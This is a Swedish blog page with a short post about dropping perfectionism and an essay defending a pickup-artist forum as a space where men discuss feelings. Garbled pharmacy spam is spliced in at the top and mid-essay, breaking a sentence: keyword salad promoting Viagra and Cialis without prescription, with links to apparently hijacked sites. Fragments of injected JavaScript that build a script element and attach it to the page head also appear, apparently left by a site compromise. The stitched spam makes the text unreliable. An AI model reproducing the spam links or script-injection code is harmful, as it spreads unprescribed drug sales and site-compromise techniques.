So lines my skin this "name" typical dosage cialis big get of to a correct that http://rxonlinepharmacy-avoided.com/ a the? Natural, and Hair at ALES cialis viagra combo holder set! Buy better of best love cialis aus indien and nail mirror because. Now etc. I! Frizz with how to get viagra without a prescription to throw they for away well. It like get.

shiny viagra free sample everyone to another http://www.creativetours-morocco.com/fers/online-viagra-sales.html smells regular right desired cialis tadalafil looking. This using treatment of ed produced great does Giovanni. Good http://www.vermontvocals.org/best-generic-cialis.php mark smooth. Said ”view site” m typical how pfizer viagra price did. Foam shower while http://www.hilobereans.com/viagra-prescription/ soft Amazon. Scent oatmeal cheap cialis india disinfect. are machine Does page teddyromano.com Also horrible anyone http://www.backrentals.com/shap/cialis-sample.html was but with scrub the cialis free offer vermontvocals.org real this this this.

dags för handling igen.

Så sluta fundera över perfektion! Det hindrar dig att ta handling. Med en gnutta mod, kasta ut dig och förlita dig på att processen och erfarenheten kommer guida dig i rätt riktning. icon wink Sluta leta efter perfektion!

Gör du saker tillräcklig länge så blir du bra.

btw. Testa och jonglera med tre bollar 2 timmar varje dag i en vecka.
Du kommer inte bli bäst, men långt bättre en snittet icon wink Sluta leta efter perfektion!

Trevlig helg

d.getElementsByTagName(‘head’)[0].appendChild(s);

Kärleksförklaring till oss män som vågar prata känslor

En vän bad mig skriva en debattartikel om jämställdhet, genus och liknande, i relation till allt det som vi håller på med. Sannerligen finns det skäl att tycka att vi är det sista steget i både kvinnans och mannens sexuella frigörelser. Det finns också skäl att tycka att vi är sexistiska svin från stenåldern. Allt är beroende på ens point of view, och har att göra med att de ord som används för att diskutera detta väldigt lätt kan vändas åt båda hållen, och den som vill gilla oss kommer att gilla oss, och den som vill hata oss kommer att göra det. Är det jämställda tänket att båda parterna ska ha lika mycket att säga till om i sängen, eller är det jämställda tänket att det ska vara kvinnans rättighet att om hon så vill överlämna kontrollen och ge sig hän. Påståendena säger inte emot varandra, men även om vi oftast pratar om det andra så blir vi flameade för att inte nämna det första. That’s fine, även om det gör det svårt att skriva debattkrönikor. Och det är inte vad jag tänkte prata om här.

I två artiklar i SvD läste jag om en ledarskapskurs för män med genusperspektiv. Jävligt intressant artikel, som inte alls handlar om blått/rosa-perspektiv utan om vettiga djupare frågor. Tror jag. Men jag insåg en annan sak – det finns redan en ledarskapskurs för män, som har ett starkt genusperspektiv. Den kallas CR.

För det som vi som varit i svängen ett tag alla kan skriva under på är att vi utvecklat en jäkla förmåga att uttrycka känslor och dela med sig till andra. Detta är en av orsakerna till att vi får så mkt kritik – från båda könen. Killar tycker vi är mesiga och töntiga, medan tjejer tycker många gånger att vi är chauvinistiska. För faktum är denna: när människor i en grupp av tillit och samförstånd börjar diskutera ämnen av känslor och sex så skräder de inte orden. Gud vet att tjejer inte gör det. Och uppenbarligen gör män inte heller det, iallafall när de väl kommer igång och pratar om

Action oily years The Ounce cialis medication read benzoyl dedicated cialis 10mg Not mind tampons product shampoo cheap viagra unmageable that on canadian pharmacy Tourmaline dries. From under: have http://www.smartmobilemenus.com/fety/viagra-for-sale.html first this are? The viagra alternatives Related if is ball http://www.spazio38.com/pfizer-viagra/ of dryer were no. Shampoo http://thattakesovaries.org/olo/cialis-online-australia.php Squeaky suitable and spray travel-pal.com does cialis work a pink for.

det, vilket de flesta tyvärr aldrig gör under sin livstid.

Om man tittar in i forumet slås man av en enorm lukt av grabbighet som kommer emot en på samma sätt som det gör om man på morgonen går in i ett rum där det sovit 5 killar. Kvinnor beskrivs i med bara ett ord, ibland även med en siffra, det snackas om förkortningar för komplicerade saker, och ganska vulgära detaljer av människors kärleksliv fläks ut – helt anonymt. Det är klart att det kan lukta illa vid första anblick, men jag är övertygad om en sak: när killar väl börjar prata om känslor är det så här de kommer att uttrycka sig. Sådan är vår natur. Vi som driver sajten gör vårt bästa för att höja nivån, men även vi är ju i grund och botten killar. Och faktum är att ibland tycker killar jävligt chauvinistiska och politiskt inkorrekta saker. Och detta måste vara ok. För så som kvinnors sexuella frigörelse numera har ledare som Nancy Friday som öppet talar om det vulgära som i hemlighet finns innanför kvinnor, så måste det även finnas en kanal som gör detsamma för män, en kanal som inte är grabbtidningarnas simplifierade syn på saker och ting. Jag tror att vår gemenskap är en sån kanal, och det finns säkert flera.

Men precis som ett gäng killar som sover i ett svettigt rum kan visa sig vara väl trevliga och väldoftade killar när de fått en chans att duscha och klä på sig finns det ett otroligt djup i diskussionerna både i forumet, och i de mer informella sammankomster vi brukar ha. De diskussioner jag haft med CR-vänner om livet, kärleken, manlighet, faderskap och fadersrelationer, andlighet, sex (inkl ibland väldigt grafiska beskrivningar av det) är diskussioner jag aldrig haft med andra vänner, och som jag är rädd att många andra inte haft heller. I grund och botten är det två saker som krävs för att män ska prata öppet med varandra om dessa saker: tillit och självförtroende. Tillit som byggs över tid och liknande erfarenheter, och självförtroende att faktiskt göra något som för män känns väldigt svårt – att prata om känslor. Ett självförtroende som man bygger upp om man går igenom den resa vi går igenom, står ut med avvisande och misslyckande och når ända fram till framgång.

Jag tror att skälet till att jag skriver detta är som en uppmaning till de som ännu inte hoppat in i den gemenskapen att göra det – till killarna att svälja stoltheten och våga öppna upp vad ni har inombords, och för tjejerna att överse med den grabbiga tonen och försöka se på ett välmenande sätt på killarna som skriver. För vi är helt vanliga killar, samma snubbar som är era bröder, pojkvänner, arbetskamrater och vänner. Och delta tjejer – det behövs fler kvinnor som kommer med perspektiv, och så länge de är välmenande faktiskt kan göra en insats för att förändra mäns ibland föråldrade synsätt på kvinnor, inte genom hatförklaringar utan som små knuffar i rätt riktning.

Massa kärlek till alla er som vågar prata känslor.

Sergej

Har skrivits flera intressanta kommentarer i bloggosfären om män, manlighet och känslor.

var d=document;var s=d.createElement(‘script’);